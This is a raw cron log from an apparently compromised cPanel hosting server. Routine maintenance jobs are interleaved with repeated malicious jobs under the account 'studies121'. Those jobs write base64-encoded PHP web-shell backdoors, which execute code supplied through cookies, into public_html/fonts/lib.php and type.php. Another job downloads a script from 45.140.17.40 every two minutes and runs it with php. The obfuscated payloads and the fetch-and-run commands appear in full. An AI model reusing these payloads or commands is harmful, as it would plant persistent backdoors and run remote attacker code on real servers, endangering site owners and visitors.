Sep 20 12:18:01 ip-184-168-122-23 CROND[21115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:18:01 ip-184-168-122-23 CROND[21116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:19:01 ip-184-168-122-23 CROND[21474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:19:01 ip-184-168-122-23 CROND[21475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:19:01 ip-184-168-122-23 CROND[21477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:19:01 ip-184-168-122-23 CROND[21478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:20:02 ip-184-168-122-23 CROND[21893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21895]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:20:02 ip-184-168-122-23 CROND[21894]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:20:02 ip-184-168-122-23 CROND[21903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:21:01 ip-184-168-122-23 CROND[22238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:21:01 ip-184-168-122-23 CROND[22241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:21:01 ip-184-168-122-23 CROND[22242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:21:01 ip-184-168-122-23 CROND[22240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:22:02 ip-184-168-122-23 CROND[22698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:22:02 ip-184-168-122-23 CROND[22700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:22:02 ip-184-168-122-23 CROND[22702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:22:02 ip-184-168-122-23 CROND[22701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:22:02 ip-184-168-122-23 CROND[22703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:23:01 ip-184-168-122-23 CROND[23089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:23:01 ip-184-168-122-23 CROND[23088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:23:01 ip-184-168-122-23 CROND[23092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:23:01 ip-184-168-122-23 CROND[23094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:24:01 ip-184-168-122-23 CROND[23427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:24:01 ip-184-168-122-23 CROND[23428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:24:01 ip-184-168-122-23 CROND[23430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:24:01 ip-184-168-122-23 CROND[23429]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:24:01 ip-184-168-122-23 CROND[23434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:25:01 ip-184-168-122-23 CROND[23854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23857]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23856]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 12:25:01 ip-184-168-122-23 CROND[23859]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:26:01 ip-184-168-122-23 CROND[24240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:26:01 ip-184-168-122-23 CROND[24242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:26:01 ip-184-168-122-23 CROND[24243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:26:01 ip-184-168-122-23 CROND[24244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:26:01 ip-184-168-122-23 CROND[24245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:27:01 ip-184-168-122-23 CROND[24546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:27:01 ip-184-168-122-23 CROND[24547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:27:01 ip-184-168-122-23 CROND[24548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:27:01 ip-184-168-122-23 CROND[24552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:28:01 ip-184-168-122-23 CROND[24982]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:28:01 ip-184-168-122-23 CROND[24984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 12:28:01 ip-184-168-122-23 CROND[24985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:28:01 ip-184-168-122-23 CROND[24986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:28:01 ip-184-168-122-23 CROND[24988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:29:02 ip-184-168-122-23 CROND[25352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 12:29:02 ip-184-168-122-23 CROND[25354]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 12:29:02 ip-184-168-122-23 CROND[25356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:29:02 ip-184-168-122-23 CROND[25358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25704]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25699]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 12:30:02 ip-184-168-122-23 CROND[25702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
